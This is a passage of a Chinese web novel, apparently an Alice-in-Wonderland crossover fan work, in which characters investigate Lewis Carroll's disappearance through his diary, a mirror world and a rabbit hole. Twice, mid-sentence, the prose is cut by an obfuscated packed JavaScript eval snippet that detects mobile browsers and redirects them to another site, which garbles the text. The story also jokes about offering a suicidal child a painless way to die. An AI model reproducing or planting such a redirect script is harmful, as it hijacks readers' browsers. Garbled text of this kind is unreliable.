他往后翻去,这次又是爱丽丝——话说在这种情况下提起爱丽丝这个名字总是有些怪,要不以后还是把爱丽丝·利德尔叫成爱丽丝mini区分一下好了。 「桉莉斯: 账务回答我回答我回答我……你们会因为侮辱尸体罪被告上法庭吗(掏律师徽章的手蠢蠢欲动)(一斤鸭梨!)」 “异议。现在的情况来看我们顶多会犯侮辱灵魂罪,但目前还没有侮辱灵魂罪,所以把你的律师徽章收回去!” 夏章雾没好气地说,直接翻到下一页。 后面是读者各种千奇百怪的奇葩脑洞,从问他妈妈会不会出场(“她还在希腊度假呢。”夏章雾如是说。)到会不会出现梦境女皇与阿尔贝蒂娜女王对弈和各种阴谋论,还有读者兴奋地嚷嚷着“兔子洞”。 玧末在一本正经地扒拉伏笔,还有人在分析似乎是作者专门留给他们的提示:那句“远道而来的玩家,请来城堡觐见无尽迷宫的女皇”。 嗯。 玩家……城堡还有女皇…… 夏章雾缓缓挑眉:等等,他有一个想法。 “如果我没记错,国际象棋里面的车其实象征的就是城堡,对吧?”他抬起头问了句,看到费奥多尔点了点头,于是也满意地点点头。 “好,那没事了。” 他说,回头继续看读者评论。 读者“七”直接找了wiki百科,整理完后变成了一篇浩浩荡荡的资料。总体而言,比之前读者们给出的原文介绍都要全面。 提到了数学,提到了故事里的角色。什么三月兔、疯帽匠、柴郡猫——说实在的,光是看名字就知道多少沾点疯疯癫癫的气息……等等,怎么还有渡渡鸟? 夏章雾仔细地瞧了半天,发现自己没看错。 他现在只觉得幸好道格拉斯不在这里,否则那家伙肯定要拼死拼活地爬过来看看渡渡鸟到底长什么样。 ——说句实话,他也想看渡渡鸟。 他继续往后翻:最后的评论是一个有点陌生的名字。对方提到了似乎与这个文学负面体有关的逆位女皇牌,还进行了一通分析。 「liar没有说谎,大概: ……爱丽丝的仙境之行之所以只是虚假,是因为她一定会醒来,就像孩子一定会长大,人一定会死亡。那么,不想长大的孩子与不想死去的亡人在所谓仙境中的永远的宴会? 那么使仙境永远停在下午茶时间的疯帽子估计会很重要。」 “不想长大的孩子和不想死的人。” 夏章雾嘟哝了一声。 有些道理,但是…… “其实从一开始我就想说了。” 他无奈地微微一笑:“凯尔特神话里的仙境和冥府,本质上可是一样的东西啊。” 在彼方世界就是冥界的情况下,那么选择停留在那里的人怎么可能是不想死去的亡人?倒不如说,离开了那里的人才是不想死的—— 等等。 夏章雾撑着脑袋,突然反应过来。 那个复活的人,原来是这样的情况吗?他本身就是那个仙境的逃出者? 在离开了彼方世界的同时,他的身上也真正失去了“死亡”? 37.推爱丽丝导致的.jpg 下午的阳光依旧明媚。年幼的雏鹰独自在天空中盘旋,飞过一座座的房子。直到它听到了一声不同寻常的响动。 “叮咚”。 那是首用清脆旋律组成的音乐。小鹰似乎被吸引了,它好奇地降低了自己飞行的高度,然后缓缓地降落在这栋小别墅附近的树上,用圆溜溜的眼睛透过玻璃望着里面的场景。 音乐在里面回荡着,通过一个旋转着人偶的彩色小盒子奔涌出来。 叮叮,叮叮咚,叮咚叮咚。 ——咔。 小鹰困惑地抖了抖羽毛。 伴随一只手轻轻地按下按钮,八音盒空灵而又清脆的声音戛然而止。 随着音乐旋转和舞蹈的小人一下就停下了动作。不知在房间里循环了多的乐曲这次在演奏到一半时就宣告了结束,让这里的空间重新回到了没有音乐的沉闷状态。 “曲子是《致爱丽丝》?” 正在刘易斯·卡罗尔家客厅里寻找线索的夏章雾有些好奇地抬头询问道,暂时放下了手中属于卡罗尔的相机。 ——虽然在路上接助读者们的提示,推断出了那个复活者可能就是从“彼方世界”回归的人,但他最后还是决定先来卡罗尔这里走一趟。 毕竟,那位不知该说是幸运儿还是倒霉蛋的家伙在经受了某个俄罗斯人的“实验”后,现在得到的评价只有“能动”了。就算去,现在估计也得不到什么消息,估计收获还不如这里大。 “嗯,卡罗尔先生应该就是在这间房子里消失的,或者因为事情过于紧急,以至于离开前忘记了关上音乐盒。” 书房中的费奥多尔轻声回答了一句,把被他关掉的八音盒放在一边,开始观察房间里其余的摆设,并从书架上取下了几本书。 绝大部分都是剑桥大学的数学课本,上面写着密密麻麻的笔记。但其中也有一本格外厚实的摄影集。 他把摄影集翻开。 “哇哦。” “哒哒哒”跑过来围观的太宰治踮起脚尖,发出惊叹的声音,转头就开始告状:“大叔,我发现费佳哥哥在看女孩子没穿衣——哎哟!” “砰当!” 什么东西掉下来的声音。 费奥多尔往旁边挪了一步,看了眼被砸了脑袋的小河豚,默默地把书拿高一点,摆在未成年人看不清的位置上,继续翻阅。 夏章雾淡定地继续看相机内容。 嗯,其实也是半斤八两:他这边看到的也基本上是非常夏日非常沙滩的萝莉照片。 也不知道钟塔侍从在调查资料时有没有看到这些照片,如果也看到了的话……总感觉这次卡罗尔就算是能找回来,估计也要社会性.死亡。 “你干的?”他问画外音。 “我要是不做点什么来阻止某些未成年人的胡言乱语,这本书就真的要遭审核了。” 画外音回答的声音相当理直气壮:“你就放心吧,我下手很有分寸,不至于把他砸死的。” 砸不死啊,那没事了。 夏章雾于是收回目光,继续浏览。 就在太宰治泪汪汪的时候,费奥多尔已经看完了摄影集的内容,从中抽出张照片,随手把它重新放到了书架上,然后走到了客厅。 “有什么信息吗?” 夏章雾放下相机,问。 “爱丽丝·利德尔和她姐妹的照片。” 费奥多尔看了眼手中拿着的内容:“拍摄时间就是在去年的六月份,等会儿就看安吾能不能找到卡罗尔先生关于那一天的日记了。” 两个人都十分默契地忽略了太宰治的话,也没有人深究那些没穿衣服或者衣服很少的女孩子到底是怎么回事。 “日记……” 夏章雾看向楼上:“也不知道安吾有没有在卧室那里调查出什么有效的信息。” 说实在的,刘易斯·卡罗尔家里到底有没有日记都很难说。毕竟这年头,正经人有几个会写日记的? 正想着,卧室的门就被“哗啦”一下打开了。 坂口安吾的怀里揣着一本书,看到楼下的大人后很兴奋地把它举起来挥了挥,随后抱着它一路小跑着下了楼。 “勒托先生,费奥多尔先生!” 他的声音稍微有些气喘,但可以看得出整个人都很兴奋:“我刚刚根据这些物体记忆里的光线变化推算出来了:卡罗尔先生应该是在六天前的五月十九日失踪的。而且还找到了这个——它有日期格式!” 虽然巴别鱼并不支持无障碍阅读,但日期中使用的阿拉伯数字显然是全世界普遍都能看懂的东西。 也就是说,它十有八九是一本日记。 ——所以那家伙还真的会写日记? 夏章雾伸手接过坂口安吾递过来的厚本子,嘴角扯动两下。 “好吧,毕竟那个整天拍泳装写真的家伙一看就知道不是什么正经人。”他嘟哝了一句,开始翻阅上面的内容。 这本日记大概是在三年前开始记录的。最初的内容还很正常,大多数都是一些有关于学校教学内容的记录。 但这种正常只持续到了卡罗尔见到爱丽丝·利德尔为止。 里面关于爱丽丝的内容很多。 夏章雾快速地扫过前面,直接翻到了最后的几篇日记——日记在今年的四月戛然而止,并没有最后几天的记录,于是便又一路翻到了去年六月份。 “那天应该是中途突然下了雨。” 费奥多尔在旁边出言提醒道。 “其实英格兰绝大多数时候都在下雨。不过那张照片有什么特殊的地方吗?” 夏章雾快速扫视着日记的内容,随口问道:“摄影集里有关爱丽丝的照片应该也挺多吧?怎么你在意的就是那一张?” “它有近期被拿出的痕迹。至于当时具体的情况……坂口先生。” 费奥多尔看了眼坂口安吾。 其实并不是非常懂上面的内容,很想听听大人读一读日记的坂口安吾先生:“……” 他知道自己就算留在这里,也大概没法从大人们那里白嫖到新的重要信息了,于是有些郁闷地撇撇嘴,答应了下来。 “哦。”他说,“我去看看那本摄影集。” 初中生“哒哒哒”地跑去了书房。 然后还没有满一分钟,惊慌失措的声音就从里面传了出来:“等等,这本书里面怎么有这么多的——哎呦!” 又是咣当一声。 很显然,出于对审核的警惕,这位倒霉未成年也在作者的安排下陪太宰治去当难兄难弟了。 可惜织田作之助在房子外面观察附近有没有人过来,否则说不定能摔进去三个人…… 夏章雾毫无心理负担地想象了一下三个未成年人被同一个房间放倒的样子,并成功地把自己给逗乐了,然后才继续看手中的日记。 这页有关于上半个月的内容看完了,没什么异常。 至于下一页—— 他翻到后面,目光几乎同时和费奥多尔一起落在了六月十七日的日记上面。 「6.17,划船出行。渡渡鸟陪着吸蜜鹦鹉、小鹰和爱丽丝进行秘密的探险。 下船步行时突然下了大雨,大家的羽毛全部都被淋湿了。渡渡鸟带着大家钻到房子里。在火炉旁,大家都慢慢烘干了衣服和羽毛,最后打了车,舒舒服服地一路回去。」 费奥多尔把自己之前抽出的照片放在这一页日记上。 照片上有着三个女孩儿与一个成年男性。他们身上裹着毯子,头发湿漉漉的,在一个被烧得很旺的壁炉面前对着镜头微笑,眼睛里闪动着壁炉火焰的光芒。 “那个男人是卡罗尔,中间的是爱丽丝。” 见过卡罗尔和爱丽丝两个人的夏章雾很快辨认了出来:“至于其他两个人……我们在利德尔家里看见过,是爱丽丝的姐姐和妹妹罗丽娜和伊迪斯。她们目前也陷入了昏睡。” 这张照片显然就是六月十七日拍摄的。其中的角色分别对应着爱丽丝、渡渡鸟、吸蜜鹦鹉和小鹰。 为什么卡罗尔会把它翻出来?这张照片具有什么特殊的意义吗? “从日记来看,那只是很普通的一天。” 费奥多尔扫了眼六月接下来的内容: “卡罗尔与利德尔家的三姐妹出门游玩的次数不少,与她们三个拍的合照也很多。如果说这次有什么特殊的地方,大概就是这几个代称第一次在日记中出现了。” 十七号后面的日记里,偶尔也会出现“吸蜜鹦鹉”“小鹰”“渡渡鸟”这样的称呼,有时也会添加各种各样的动物名字。 但前面却从来都没有出现过。 如果照片和照片背后的内容都没有什么特殊之处,那么能让卡罗尔特地将它拿出来的理由就只有这个了。 夏章雾按了按眉心:“所以,有很大的可能是因为卡罗尔最近又听到了这些称呼,才让他回想起了这次泛舟出行。怪不得……” 怪不得卡罗尔最后的那篇任务报告的内容会这么奇怪。 当时,他先写下了“爱丽丝”的名字,随后又将其涂改。但这两件事本身就是自相矛盾的。 如果他想要隐藏起这件事中爱丽丝的存在,那么最好的选择就是一开始便不写。如果写了下来,那也没有什么好掩饰的。 毕竟爱丽丝这个名字实在太大众化,就连他的评论区里都藏着两个,重名什么的简直是再正常不过,涂改只能让整件事都显得很可疑。 所以只有一个可能。 卡罗尔最初并没有觉得那位爱丽丝女皇就是他认识的那个爱丽丝。所以他坦坦荡荡地写下了这个名字,但后来…… 因为某些事情,他发现了“爱丽丝女皇”就是爱丽丝·利德尔,在不怎么理智的情况下做出了这种本能的维护举动。 “目前来看,让他确认了那位爱丽丝女皇身份的就是这些称呼吗?”夏章雾喃喃道,随后往书房的方向看去。 那里又传来了咣当咣当的声音。 “咳咳!我和太宰找到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292896|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线索!” 坂口安吾跑出来,他的脸红得像是在炉火边烤过:“就是在六天前,卡罗尔先生拿出一张照片看了好一会儿,然后又放了回去,急匆匆地起身穿上外套,离开了。” “还有还有!” 太宰治出来得晚了点,他拿着一张手帕,语气相当轻快:“当时卡罗尔先生的外套上面掉下来了一些东西,我找到了哦?” 那是一片细长的叶子。 “英国紫杉。” 夏章雾拿起这片叶子,很快就辨认出了植物的身份,然后有些诧异地看向太宰治:“你没把它吃了?” 太宰治:“……” “我又不是狗!”栗子河豚气鼓鼓,“为什么会有我到处捡东西乱吃的误会啊!” “因为英国紫杉的叶子有毒。” 俄罗斯人瞥了眼:“它在很多宗教场合都象征着死亡,所以经常被种植在教堂墓地。其他时候倒是很难见到。” 太宰治很感兴趣地看去。 “有毒?”他的关注点明显在前面。 “我就知道你会对它感兴趣。” 夏章雾没好气地搓搓他脑袋,成功把河豚再一次搓得鼓了起来:“你就不应该把有关英国紫杉的事情告诉他。” 后面这句话是对费奥多尔说的。 接受到谴责的俄罗斯人沉思了几秒。 “英国紫杉中毒很痛苦的。” 他微笑着说:“我还知道一种完全无痛的死亡方式,而且非常容易实践。” “诶诶?” 太宰治的眼睛这下是完全亮起来了。 夏章雾则是大惊失色。 “你怎么教孩子的啊!” 他一把拽住想要扑上去的太宰治:“太宰就算了。可安吾还在场呢,别给这里唯一的正常人留下心理阴影好不好?” 坂口安吾迷茫眨眼:“我?” 听上去他好格格不入啊。所以他是不是应该自觉地去和织田作一起看大门?可他真的很想听一听日记到底写了什么内容,看看自己找到的信息有什么用处—— 等等,不对。 仔细想来,这种情况的发生怎么都不该是他的问题吧! 坂口安吾突然反应过来。 他赶紧制止了自己下意识的“我不应该在这里,我应该在外面”的想法,开始用“你们到底还说不说正事”的不满眼神盯着这几个人。 夏章雾被盯得咳嗽了一声。 “相比起我们,失踪前的卡罗尔总共多了两个信息优势。首先,只有他才知道自己那天跟着兔子脚步时听到了什么,其次,他知道很多与爱丽丝·利德尔有关的事情。” 他解释道:“如果我没有猜错,他应该是凭借这两点发现和确认了昏迷者的灵魂到达了彼方世界,并且爱丽丝就是那里的女皇。他的失踪也不是被动的,而是主动前往了那里。” 毕竟目前为止,全剑桥失踪的人数也就只有刘易斯·卡罗尔一个人——至少走之前,钟塔侍从是这么告诉他的。 “也就是他去冥界了?” 太宰治好奇地问:“他不是要调查剑桥的异常情况吗?这件事为什么不去通知钟塔侍从?” “毕竟那里有爱丽丝,而他是卡罗尔。” 夏章雾无奈地抬头瞅了眼墙上卡罗尔和爱丽丝的合照:“你可以把刘易斯·卡罗尔这辈子做的一切蠢事和爱丽丝联系在一起——虽然这次他做出的蠢事未免也太蠢了。” 目前杀死这个文学负面体的方式还不知道,但想要完成女王的委托,他们只有一条路可选: 找到那个“世界”的入口,进去,然后把因为爱丽丝而彻底昏了头的卡罗尔拽出来。 “需要怎么做?”费奥多尔很自然地问,好像他已经知道夏章雾会有办法似的。 “呃,先找镜子?” 夏章雾看向窗外,回想着读者们的评论,耸耸肩:“反正预言是这么说的——等等?” 他缓缓眯起眼睛。 “你们有看到猛禽吗?体型不大的那种,就停在窗边的树枝上。”他说。 费奥多尔往窗外看去。 ——什么都没有。 “没有。”他说,“在您眼中,那里是有一只鸟吗?” “准确的说,有一瞬间,那里有只鸟。” 夏章雾皱了下眉:“太宰和安吾也没看到?” 两个未成年摇摇头。他们也什么都没见到。 “那就先记下来吧。” 夏章雾缓缓地收回目光:“先找镜子,这件事情后面再说。” 小鹰在树枝上打了个哈欠,不解地望着那些突然看向窗户,然后又去找什么东西的人类。 音乐已经消失了很久。它突然感觉这里变得好没意思,索性拍了拍翅膀,打算回去。 它原路返回,飞过房屋,飞过河流,最后在彩色的云朵里欢快地鸣叫一声,振翅扎入那些熟悉的、绚烂的、永不停歇的音乐声中。 ——叮咚。 38.前方的区域以后再探索吧 作为优秀的单身独居男性,卡罗尔家里的镜子并不算多。几个人找了一圈,发现唯一的镜子就是卧室衣柜门后面的全身镜。 “喂,大叔。你那个预言靠谱吗?” 太宰治盯着镜子看了半晌,突然问道。 “你问这样的问题,人间失格都会哭的。” 夏章雾翻动着手中的笔记本,这样回答。 “但卡罗尔先生明显不是通过这面镜子去另一个世界的,安吾没有看这方面的内容。而且这个镜子——” 太宰治伸出手,但是只触碰到了冰凉坚硬的镜面。镜子里的黑发少年也和他做出了同样的动作,镜内镜外的两只手掌抵在一起,但是什么都没发生。 “怎么看都和通道没有关系吧?” 他有些怀疑地说。 被喊过来围观的织田作之助也点点头。 “五秒后也什么都没有发生。”他说,“是需要什么特殊的机关吗?” 夏章雾继续翻笔记本。 想要在评论区里面找到有用的内容还是挺麻烦的:尤其是有不少读者聊的不是三次元的爱丽丝原著,而是各种改编的电影游戏之类的东西。 问题是他要对付的是文学负面体,并不是什么爱丽丝同人宇宙负面体…… 夏章雾头疼地又翻过了一个正在讲电影的评论内容。读者提的频率这么高,他都快要怀疑作者真的参考了电影情节了。 “放心吧。”画外音悠悠闲闲地回答道,“我从来不干卖羊头挂狗肉的事,说是文学负面体就不会和电影扯上关系。而且我劝你谨慎辨别。” “什么?”夏章雾下意识地问了句,在一个看上去还比较靠谱的评论上面停留了片刻。 那位自称“魔王”的读者正在叽叽喳喳地给他科普三次元的卡罗尔爱丽丝小故事:故事的内容很平淡,没有什么大起大落。但他看得还是挺津津有味的。 “《爱丽丝漫游奇境与镜中奇遇》改编的版本太多了。我猜不少读者都出现了记忆紊乱。我现在已经在评论区看到好些个分不清红心皇后和红皇后的人了。” 画外音的语气是完全的幸灾乐祸,甚至还带着点调侃的意味:“所以说啊,读者的建议归读者,你自己最好别全信。否则到时候会发生什么事情,我可不负责哦。” 夏章雾:“?” 完蛋,太宰你说的没错。 我得到的预言现在还真的挺不靠谱的。 不过爱丽丝通过镜子进入梦境的情报应该还算是准确的吧……应该吧。毕竟有好几个读者都这么说了。 “咳咳!” 夏章雾咳嗽了一声,望着镜面的表情也不确定起来:“总之,能通过镜子和兔子洞进入彼方世界的预言应该是对的。卡罗尔当时跟着兔子脚步声找到的应该就是后者。” “但也不可能所有的镜子都有通道吧?” 太宰治抬起头,很有质疑精神地问:“那样是不是随便找面镜子就行?” “不知道。” 夏章雾把笔记本重新放回去,随口道:“但如果真的有通往彼方世界的镜子,卡罗尔家里一定是最可能出现的。” 毕竟由于三次元原型之间存在的联系,文学负面体与对应的异能者有着紧密的关联。这一点他在“人间失格”的事件里就有所领悟了。 想到这里,夏某人忍不住瞥了某位上好的例子一眼:这位例子又用手指戳了戳镜面。 还是无事发生。 太宰治抬起头,眼神不言而喻:你都这么说了,那这玩意到底要怎么用啊? “或许需要一点信念?” 夏章雾摸了摸下巴:“童话里不都是这样说的吗?要怀有一颗相信魔法的心什么的——也许它就要你相信镜面后的世界真实存在呢?” 他也伸手碰了碰镜面。 镜子没有像水面一样荡开涟漪,但手指确实已经没入了镜中,也没有出现在镜面的反射里,像是完完全全地浸入了虚空。 夏章雾若无其事地收回手。 好吧,本来他只是想随口敷衍一下未成年人的。没想到竟然真的是这个方法。 太宰治眼睛一亮,就想要把脑袋往镜子里面伸,结果被夏章雾揪住了命运的后脖颈,扔给了旁边的织田作之助。 “你不是很讨厌冥界吗?” 收回手,夏章雾没好气地说:“怎么现在这么跃跃欲试?” “因为我想要放火啦!” 太宰治四肢悬空地在织田作之助的手下努力扑腾,很有精神地喊道:“我要看看那些死掉的人能不能再死一次,而且冥界什么的就应该烧个精光——” “很难哦。” 一直在注视着镜面的费奥多尔侧过头,微笑着说:“凯尔特神话里的冥界也是仙境,作为没有死亡的永恒青春之地,那里的死者大概是没法再死去一次的。” 夏章雾也轻轻地“嗯”了声。 仙境与墓冢的双重特性,让凯尔特神话中的死者居所与东方文化、两希文化中的恶劣地狱迥异,反倒有些类似于斯拉夫神话中的冥府。 死亡之处,反倒是生机勃勃。 “如果那里就是冥府的话,我们这些活人进去没有问题吗?”坂口安吾谨慎地问,“该不会也死掉吧?” “当然不会。” 夏章雾揉搓了两下过度担心的未成年,很是随便地安慰道:“事实上,每个冥府都允许活人的进出。尤其是凯尔特神话,它的冥府也有仙境的职能。而且就算出不来,等把那个OOL宰掉差不多也能出来了。” 好,好吧。 坂口安吾感觉嘴角抽动了两下:非常简单粗暴的回答,甚至让人连担心都担心不起来。 “那就由我先进去吧。” 费奥多尔看了眼镜面,转头对夏章雾笑了一下,把口袋里的蛇直接抛给了夏章雾:“放心,对于死亡,我还是很熟练的。” 这语气听上去像是在地狱里转了几百圈。 夏章雾看着他走进去,然后看向被自己捏着的蛇。这条蛇看上去憋了满肚子的话,但就是没有办法说出口。 “我就……呃,帮你们把风?” 它很是艰难地说。 夏章雾盯着它。 “你去女王那里待着。” 他说:“保护好,懂?” 读者们最近在评论区总是在念叨着女王会不会出事,虽然他们的猜测有时不怎么靠谱,但凡事多做点准备还是没问题的。 “得令,我会的!” 红蛇打了个激灵,飞快地喊道,然后一个转身就消失在了黑雾当中。 哟,这赶路方式还挺高级。 夏章雾忍不住多看了两眼,然后才叮嘱起自己的孩子们。 “我也进去了。”他说,“小心。” 他同样走入镜中。 镜子深处是短暂的迷雾。但不过一眨眼的功夫,雾气便消散了。夏章雾眯起眼睛,打量着周围的场景,发现这里依旧是卡罗尔的客厅。 准确的说,是镜像的客厅。 这里八音盒的音乐声仍然在流淌。周围的一切除了左右颠倒以外和外界没有太大不同,只是在更远处的地方,这些家具和装潢更加华美,更加美丽而又动人。 但总体上没什么问题,唯一的问题在于…… 夏章雾皱起眉,看向四周。 ——费奥多尔不在这里。 “咔嚓”。 现实世界里,在三双眼睛的凝视下,镜子的表面突然攀上了一丝缝隙。 然后越来越大、越来越大…… 坂口安吾倒吸一口凉气,下意识地看向了太宰治所在的方向。 “等等。” 太宰治也睁大眼睛,往后面跳了几步,试图举起双手以证清白:“不是我干的!” “哗啦”“哗啦”“哗啦”。 话音刚落,客厅的这面落地镜就像是终于不堪重负了似的,彻底地碎裂开来。与此同时,玻璃破碎的声音也从其他的房间传来,让不妙的感觉更上一层楼。 “这,还能用吗?” 坂口安吾拉扯了一下嘴角,尝试着用手去触碰一块比较大的玻璃碎片,意料之中地没有发生任何奇迹。 好吧,彻底完蛋。 目前唯一进入彼方世界的道路坏了。 这件事的性质不是一般的糟糕。就从最朴素的地方考虑吧——他们没人身上有超过十英镑的财产。如果没法找到大人…… 今天他们就别想能吃到饭了。 太宰治看起来倒是不怎么担心。 “没钱的话就借一点好啦。” 他拿出不知从什么地方翻出来的钱包,从里面抽出五十英镑:“当当当当!卡罗尔先生要是知道,也一定会很愿意给监护人失踪的未成年人捐款的。” 五十英镑的数字在灯光下熠熠生辉。女王陛下那张微笑的脸充满着财富的芳香。坂口安吾吸了口气,感觉卡罗尔先生大概不会想捐款的。 “如果是这样的话,至少这几天的三餐就没问题了。”织田作之助回想了一下附近饭店的价格,很肯定地说。 “那我们就去吃午餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太宰治满不在乎地说。 “原来是猜的……等等。” 坂口安吾突然停下脚步,用茫然的目光看着太宰治:“猜的?” “大叔说过,那个世界其实就是冥府。紫杉树又种在墓地,很难不让人往那个方面想吧?而且他也说了,进去的方式有镜子的兔子洞。” 太宰治努力把三明治咽下去,伸了个懒腰,脸上有着灿烂的笑容:“卡罗尔先生跟着兔子脚步声找到的当然是后者咯。” “也就是说,卡罗尔先生先是在十八号听到了兔子说的‘爱丽丝’,于是跟着找到了位于墓地的兔子洞,期间身上沾了紫杉叶子。” 跟在他们身后的织田作之助思索着说:“在家中纠结一天后,他在十九号终于做出决定,通过兔子洞离开了这里。是这样吗?” “但这也只是猜测。” 坂口安吾忍不住反驳道:“说不定兔子洞根本不在墓地里。他身上的紫杉叶子是因为去了爱丽丝的墓地而沾上的。” “所以我说是猜的嘛。” 太宰治背着手,笑眯眯地回答:“但安吾最好还是祈祷一下事情的发展确实是这样,否则我们就要花大量的时间去地毯式搜索了。事件可能不能就这样浪费。” 说着说着,这几个未成年人就绕到了教堂后方。 可能是最近剑桥有太多人陷入了昏迷,这些需要安抚人心的神职人员也忙得很,抽调了不少的人手。他们一路顺利得不可思议。 不过份好运在他们遇到守在墓园门口的一位老修士时,就到此为止了。 “咳咳?”这位老人似乎有点惊讶于看到几个明显属于亚裔的孩子来到这里,连忙站起身来,“你们过来是……” 他话还没有说完,织田作之助就冲了出去。 坂口安吾默默地捂上了太宰治的眼睛。 伴随着一个精准的手刀,前杀手先生动作轻柔地把昏迷不醒的老人放下,靠在墓园的墙边,转身对两个孩子做了个没问题的手势。 “安吾,用异能。” 太宰治把坂口安吾的手移开,命令道:“织田作你去看看墓园里还有没有人。诶,这个人稍微扶正一点,最好看上去像是在打盹儿。” 排查工作花了些时间。 考虑到卡罗尔不一定是走正门进来的,坂口安吾不得不把墙壁的所有方向都检查了一遍,努力地辨别刘易斯·卡罗尔的踪迹。 好吧,他其实还不怎么认识卡罗尔:但他还记得之前用异能时看到的那件衣服。所以他一直在专注地找着穿那件外衣的人。 就这样,大概过了十来分钟。 “找到了!” 坂口安吾收回手,扭头看向其他两个人,眼中多出了几分惊喜的神色:“他来过这里,就在六天前!” 39.Fyodor is watching you “就是这里。” 三分钟后,进行了最后一次确认的坂口安吾喘了口气,站起身,用有些振奋的语调说。 太宰治有些好奇地蹲下来看着。 这里是树下的角落,草地上面并没有什么异常,但有意地拨开草丛时,草叶下却显现出一个怪异的、违反常理的黝黑洞口。 他拨弄两下,发现它看上去足足可以容纳好几个成年人。看上去简直都不像是兔子洞了,更像是个地块塌陷的产物。 “哇哦,怪不得连卡罗尔先生都能进去。” 太宰治好奇地看着:“你们说能不能往里面扔垃圾?里面的兔子会生气地跳出来吗?” 说到这里时,他满脸都是跃跃欲试,看上去要是没人阻止,真的能够随便捡点东西扔进去。 “不不不!都到这个地步了,我们就没必要做这么危险的尝试了吧?” 坂口安吾连忙把太宰治拽住,生怕他往里面丢什么稀奇古怪的东西:“现在找到了通道,最重要的事情难道不是赶紧下去吗? “最好一起跳。” 织田作之助观察了一下兔子洞的大小:“否则要是和之前的镜子一样出问题就麻烦了。” 这句话是真的。能找到这里的通道就已经很赌运气了,要是它也出了什么差错,他们也没可能找到第三种进去的方式。 但话虽如此…… 坂口安吾看着这漆黑的洞口,有些怀疑这个高度的危险性。 “好吧。”太宰治遗憾地放弃了自己的打算,“那就现在跳?” “我觉得最好还是……等等太宰你别拉着我往下跳!” “哎呀,安吾就是太磨磨蹭蹭啦,这种事情当然还是要果断一点比较好——” “但怎么也得有心理准备吧!” “啊,好黑。” 终结了两个小家伙吵吵闹闹的是织田作之助平静的感慨声。 下落时有着轻微的失重感和失衡,但其余的地方并没有那么糟糕,甚至连风都不大。他们已经下落了大概几十秒,但依旧没有接触到地面的意思。 坂口安吾把身后的背包挪到身前,从里面翻找到了手电筒,打开开关,往下面照去。 光线被黑暗吞没了。距离底端还有很远。 他又往旁边照了照:兔子洞本身倒没有因为逐渐深入而变宽阔。但岩石与泥土的墙壁当中有着一个个宛如壁龛的洞口,里面摆放着各种各样的东西。 这些东西往往能在他们的视野中停留好几秒钟,时间充裕到他们可以伸手把那些小玩意从洞口取下,让人不由怀疑自己下落的速度是否真的有自由落体那么快。 太宰治挪动了一下自己的位置,用这一两秒的间隙拿走了洞口的一个盒子。 “哦,是拼图!” 他打开,快活地说道。 然后他把拼图块全都倒下来。众所周知,在忽略空气阻力的情况下,所有事物的下落速度都是相同的。于是这些拼图就这么“漂浮”在了三个人的面前。 “要来玩拼图吗?” 太宰治说,拿起其中的一块:“看上去还挺好玩的。” 织田作之助低头看了几秒,很快就从中找出了几片特殊的拼图块:“这是边缘?拼图应该是从边缘开始比较容易拼吧?” “所以你们两个怎么若无其事地在这里拼起拼图了……” 坂口安吾有些无奈地伸手:“把拼图盒子给我看看:一般上面都是有拼图的成品样子的,这样对着拼容易一点。” ——事情的现状就变成了:三个未成年人在下落过程中拼悬浮拼图。 太宰治拿到的这盒属于异形拼图,拼图块的形状主要是是各种各样的棋子与动物,因此拼起来相当打发时间。 大概过了好几个小时,他们才在手电筒的灯光下面把整个拼图拼好。完整的拼图内容是一个漂亮的大厅,摆放着各种奇怪的东西。 坂口安吾碰了下上面的八音盒。 八音盒立刻在拼图里转了起来,发出悦耳的叮咚声。其中的旋律三个人都很熟悉:就是卡罗尔房间里播放的那首《致爱丽丝》。 太宰治从拼图里拿出了一块只有芝麻大的巧克力糖,放到了嘴里,满脸认真地咀嚼了两下。 “味道竟然还不错。”他鼓起脸,“真令人不甘心,我还以为这里的食物都没味道呢。” 于是等到他们“扑通”一下掉进落叶堆里的时候,三个未成年人已经从拼图里拿出了八音盒一个,糖果若干,硬币若干,玩偶五个,拨浪鼓一个,水晶球三个,还有很多其他小玩意,全是微缩版本的。 其中还有不少遗憾的地方,比如: “原来没有咖喱饭吗,真可惜啊。” “是啊是啊,也没有蟹肉罐头,真可惜啊。” “怎么想都不可能有吧!而且就算是有,也根本尝不到什么味道就吞到肚子里了。” 若无其事地聊着天的三人从落叶堆里冒出头来,看向四周。 虽然掉落了很长的时间,理论上高度已经足够把人摔得粉身碎骨,但三个人在掉落到地面上的时候甚至一点不疼,完全没有受伤。 “看起来像是童话故事里的森林。” 坂口安吾说。 现在他们正身处于一大片植物群落中。各种颜色的蘑菇和说不上名字的花花草草遍布,芬芳甜蜜的气味弥漫在空气中。 有活泼的音乐从远方传来。那是一种清脆可爱的叮咚声,听上去就像是从八音盒中播放的。 “看起来像是。” 太宰治从落叶堆里钻出来,往前面试探着走了一两步:“我觉得——” 但他的话还没来得及说完,一个有些生气的细小声音就打断了他。 “快挪开!快挪开!” 那个小小的声音说:“你踩到我啦!” 太宰治下意识地往边走了一步。 “你也踩到我了!” 另一个细细小小的声音响了起来:“请往前面走一点!” 于是他往前走了一步。这下可炸了锅了,脚边瞬间响起了好几十个声音。它们用自己脆脆的小嗓音气乎乎地和太宰治说话: “要注意脚下呀!”“别踩我!”“稍微小心一点儿!”“我们在这里,你在看什么地方呢!” 最后还是织田作之助一伸手,把太宰治整个儿提了起来,这才让那些麻雀一样叽叽喳喳的声音全部消停。 那些吵吵闹闹的小东西全是植物。在脱离了太宰治的摧残后,它们在风中摇晃了一会儿,没过多久就变成了原来俏生生的样子,语气也缓和了。 “出门记得看路,踩花草是不礼貌的。” 其中一朵小雏菊老气横秋地对他们说:“左边就有一条大路。” “呃,谢谢?” 